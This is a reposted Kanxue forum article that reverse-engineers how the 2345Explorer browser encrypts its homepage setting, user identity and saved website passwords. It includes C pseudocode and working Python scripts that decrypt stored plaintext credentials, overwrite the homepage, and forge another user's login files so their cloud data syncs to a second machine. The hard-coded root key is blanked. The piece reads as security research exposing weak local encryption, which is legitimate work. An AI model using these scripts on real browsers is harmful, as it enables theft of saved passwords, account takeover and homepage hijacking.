逆向某浏览器主页设置算法和保存登录账号信息过程
2019-09-23 18:57:00 Author: mp.weixin.qq.com(查看原文) 阅读量:40 收藏

本文为看雪论坛精华文章

看雪论坛作者ID:三猫

最近对浏览器比较感兴趣,于是对某浏览器做了一些无脑逆向,有一点点小小的收获,第一次发文,没什么技术含量的东西。

写得超级烂,大佬们喷轻点(心里承受能力弱) 。

ps:大四狗刚开始实习,想学学移动安全,求大佬们给点方向吧。

该浏览器在未登录时和登录时设置主页有些区别。具体有四点内容:

1.未登陆状态主页设置

2.登陆状态主页设置

3.解密保存在本地的网站登陆账号密码和身份信息

4.伪造身份同步云端信息

未登录状态主页设置
先定位到关键算法,OD调试。
该函数08D5F028功能就是设置主页,函数原型大概是这样:
SetHomePage(this,byte **url)

继续跟进该函数,然后进入函数08D62DD4 
这个函数的作用就是使用密钥1 rootKey[16]
对C:\Users\xxx\AppData\Local\2345Explorer\UserData\Default\Syn\HardwareInfo.dat进行AES解密(CBC模式Pkcs5Padding填充),解密后的数据存放在 一个二级指针指向的地址。
rootKey[16]是程序写死的密钥。
原型:DecrypturlKeyFromFile(byte **urlKey)

继续调试,进入函数08D62F44,这个函数原型可以写成:
SaveHomePage(this,byte **urlKey,byte **url)
后续的url拼接,加密,写文件都是在这个函数里完成的。

来到一个函数调用,08D5F65A目的是把url拼接成json格式:
{"homepage":"url"}

接着调试,这一处调用就是加密前面拼接的json数据,取前面解密出来的urlKey前16位当作key进行AES加密。
函数大概长这样:
Encrypt(byte **json,byte **urlKey,byte **encryptData),加密之后的数据写入 *encryptData

085F8B6的作用就是把前面的加密数据 encryptData写入文件:
C:\Users\xxx\AppData\Local\2345Explorer\User Data\Default\page_file.dat

未登录状态的主页分析到此就结束了,密钥 rootKey[16] 大家去分析一下就知道了,很简单的。
给出上面几个函数的文件偏移:
chrome.1652dd4: DecrypturlKeyFromFile(byte **urlKey)
 
chrome.164f224: SaveHomePage(this,byte **urlKey,byte **url)
 
chrome.164F65A: BuildJson(byte **url,byte**json)
 
chrome.164F77C:Encrypt(byte **json,byte **urlKey,byte **encryptData)
 
chrome.164F8B6: SaveVerifyFile(byte **encryptData)

贴出写的贼烂的伪代码:
void SetHomePage(byte *url)
{
    unsigned char prefixJson[] = { "homepage" };
    unsigned char rootKey[] = { "xxxxxxxxxxxxxxxxx" };
    char *keyPath = "C:\\Users\\xxx\\AppData\\Local\\2345Explorer\\User Data\\Default\\Syn\\HardwareInfo2.dat";
    char *pageFile = "C:\\Users\\xxx\\AppData\\Local\\2345Explorer\\User Data\\Default\\page_file.dat";
 
 
    HANDLE hFile = CreateFileA(keyPath,
        GENERIC_READ,
        0,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL);
    if (hFile==INVALID_HANDLE_VALUE)
    {
        return;
    }
    DWORD bytesRead = 0;
    DWORD dwSize = GetFileSize(hFile, NULL);
    UCHAR *encryptKey = new UCHAR[dwSize];
    BOOL bRet = ReadFile(hFile, encryptKey, dwSize, &bytesRead, NULL);
    CloseHandle(hFile);
    if (bRet == FALSE)
    {
        return;
    }
 
 
    byte *key = AESCBCPK5Decrypt(encryptKey, rootKey);
    key[16] = 0;
 
    
    string json = string("{\"") + (char*)prefixJson + "\":\"" + (char*)url + "\"}";
 
    byte* encryptData = AESCBCPK5Encrypt(json, key);
 
    hFile = CreateFileA(pageFile,
        GENERIC_READ|GENERIC_WRITE,
        0,
        NULL,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL);
    if (hFile == INVALID_HANDLE_VALUE)
    {
        return;
    }
    DWORD dataSize, bytesWrite;
    WriteFile(hFile, encryptKey, dataSize, &bytesWrite, NULL);
    CloseHandle(hFile);
}

登录状态主页设置
登录状态的时候主页信息会保存在文件:
C:\Users\xxx\AppData\Local\2345Explorer\UserData\Default\Sync\yyyy\UserPrefs
目录名yyyy是一个md5值,后面会讲这个md5是根据谁生成的。
UserPrefs文件的加密算法和未登录使用的算法一致。
只是会先在
C:\Users\xxx\AppData\Local\2345Explorer\User Data\Default\Sync\yyyy\目录生成了一个临时文件:xxxxxxx.tmp。
延时几秒再用ReplaceFileW函数替换掉UserPrefs文件,并没有使用CreateFileA/W函数。
解密之后的 UserPrefs文件长这样:
马赛克打多了,关键位置还是:{"homepage":"url"} 格式:
解密保存在本地的网站登录账号密码和身份信息
登录之后的用户身份信息保存在文件:
C:\Users\xxx\AppData\Local\2345Explorer\UserData\Default\Sync\UserInfo.dat
搞笑的是加密方式和上面主页设置算法还是一致的。

解密之后:

注意sync_password_id字段,前面的目录名yyy就是md5(sync_password_id)
最重点的地方来了,用同样的方式解密文件:
C:\Users\xxx\AppData\Local\2345Explorer\User\AppData\Local\2345Explorer\User Data\Default\Sync\yyy\Login DataV2
没看错,就是用户浏览器记住的网站明文用户名密码和提交的一些表单信息。
有点害怕,难道不应该使用windows身份加密API来加密这些东西吗?
这样我把HardwareInfo2.dat和 Login DataV2文件拖到其他电脑上解密也太容易了吧。

伪造身份同步云端信息
既然知道了 Login DataV2和 UserInfo.dat的生成过程,如果我们在另一台电脑上安装该浏览器,不登录任何账号,然后使用A用户的HardwareInfo2.dat文件解密自己的Login DataV2和 UserInfo.dat文件,再用B电脑的HardwareInfo2.dat加密前面解密出来的内容。
生成新的Login DataV2和 UserInfo.dat,再放入覆盖掉B电脑的相同文件,浏览器会不会登录上A用户,并且同步A的信息?
好像可以,书签什么的都同步下来了。
顺便附上登录/未登录状态设置主页和伪造身份py代码,代码很烂,大佬们打轻点。
import binascii
from Crypto.Cipher import AES
 
 
class AESCBCDeEncrypt:
    def __init__(self,key):
        self.key=key
        self.mode = AES.MODE_CBC
        self.bs = 16
        self.PADDING = lambda s: s + (self.bs - len(s) % self.bs) * chr(self.bs - len(s) % self.bs)
 
    def encrypt(self, text):
        generator = AES.new(self.key, self.mode, self.key)
        text=self.PADDING(text)
        crypt = generator.encrypt(text)
 
        crypted_str = binascii.b2a_hex(crypt)
        return crypted_str,crypt
 
    def decrypt(self, text):
        generator = AES.new(self.key, self.mode, self.key)
        return generator.decrypt(text)
 
 
 
 

def setPageWithLogin(url):
    file = r'C:\Users\xxx\AppData\Local\2345Explorer\User Data\Default\Sync\yyy\UserPrefs'
    macDecode = open(r'C:\Users\xxx\AppData\Local\2345Explorer\User Data\Default\Sync\HardwareInfo2.dat', 'rb').read()
    keyDecoder = AESCBCDeEncrypt('rootKey')
    key = keyDecoder.decrypt(macDecode)[:16]
    dataDecoder = AESCBCDeEncrypt(key)
    fileData = open(file, 'rb').read()
    data = dataDecoder.decrypt(fileData)
    fix = data.find('"startup_urls":[]}}') + len('"startup_urls":[]}}')
    data=data[:fix]
    index = data.find('"homepage":') + len('"homepage":')
    index2 = data.find(',"pref_client"')
    url='"'+url+'"'
    data=data[:index]+url+data[index2:]
 
    str,binData=dataDecoder.encrypt(data)
    f=open(r'C:\Users\xxx\AppData\Local\2345Explorer\User Data\Default\Sync\yyy\UserPrefs','wb')
    f.write(binData)
    f.close()
 
def decrypt(dataPath,keyPath):
    rootKey=''   
    keyRaw=open(keyPath,'rb').read()
    keyDecoder = AESCBCDeEncrypt(rootKey)
    key = keyDecoder.decrypt(keyRaw)[:16]
    dataDecoder = AESCBCDeEncrypt(key)
    dataRaw=open(dataPath,'rb').read()
    dataDecoder = AESCBCDeEncrypt(key)
    return dataDecoder.decrypt(dataRaw)
 
def encrypt(dataRaw,keyPath):
    rootKey = ''
    keyRaw = open(keyPath, 'rb').read()
    keyDecoder = AESCBCDeEncrypt(rootKey)
    key = keyDecoder.decrypt(keyRaw)[:16]
    dataDecoder = AESCBCDeEncrypt(key)
    dataDecoder = AESCBCDeEncrypt(key)
    return dataDecoder.encrypt(dataRaw)
 
def filterinfo(info,mark):
    index=info.rfind(mark)
    return info[:index+1]
 

def fakeUser():
    localKeyFile = r'C:\Users\xxx\AppData\Local\2345Explorer\User Data\Default\Sync\HardwareInfo2.dat'
    otherKeyFile = r'C:\Users\xxx\Desktop\other.dat'
    loginFle = r'C:\Users\xxx\AppData\Local\2345Explorer\User Data\Default\Sync\yyy\Login DataV2'
    userinfoFile = r'C:\Users\xxx\AppData\Local\2345Explorer\User Data\Default\Sync\UserInfo.dat'
 
    logininfo = filterinfo(decrypt(loginFle, localKeyFile), '}')
    loginhex, loginRaw = encrypt(logininfo, otherKeyFile)
    f = open(r'C:\Users\xxx\Desktop\FakerLogin DataV2', 'wb')
    f.write(loginRaw)
    f.close()
 
    userinfo = filterinfo(decrypt(userinfoFile, localKeyFile), '\n')
    userinfoHex, userinfoRaw = encrypt(userinfo, otherKeyFile)
    f = open(r'C:\Users\xxx\Desktop\FakerUserInfo.dat', 'wb')
    f.write(userinfoRaw)
    f.close()
 

def setPageWithoutLogin(url):
    file = r'C:\Users\xxx\AppData\Local\2345Explorer\User Data\Default\page_file.dat'
    macDecode = open(r'C:\Users\xxx\AppData\Local\2345Explorer\User Data\Default\Sync\HardwareInfo2.dat', 'rb').read()
    keyDecoder = AESCBCDeEncrypt('rootKey')
    key = keyDecoder.decrypt(macDecode)[:16]
    dataDecoder = AESCBCDeEncrypt(key)
 
    json='{"homepage":"url"}'
    json=json.replace('url',url)
    f=open(file,'wb')
    f.write(dataDecoder.encrypt(json)[1])
    f.close()
 
 
if __name__ == '__main__':
 
    fakeUser()
    setPageWithoutLogin("iloveChina")
    setPageWithLogin("iloveChina")

- End -

看雪ID:三猫

https://bbs.pediy.com/user-784599.htm 

*本文由看雪论坛 三猫 原创,转载请注明来自看雪社区

推荐文章++++

Metasploit BlueKeep漏洞利用模块简要分析

一种检测Android SO的UAF和heap over-flow方法

X-Young认证协议分析

CTF中RSA的一些攻击思路

经典整数溢出漏洞示例 XCTF int_overflow

进阶安全圈,不得不读的一本书

“阅读原文”一起来充电吧!

文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458299078&idx=1&sn=37175cba1129105580e38b0866c1d124&chksm=b1819a4c86f6135acc6556240d44d99531361324268e6ef267d91834ffc37f18b289337faff7#rd
如有侵权请联系:admin#unsafe.sh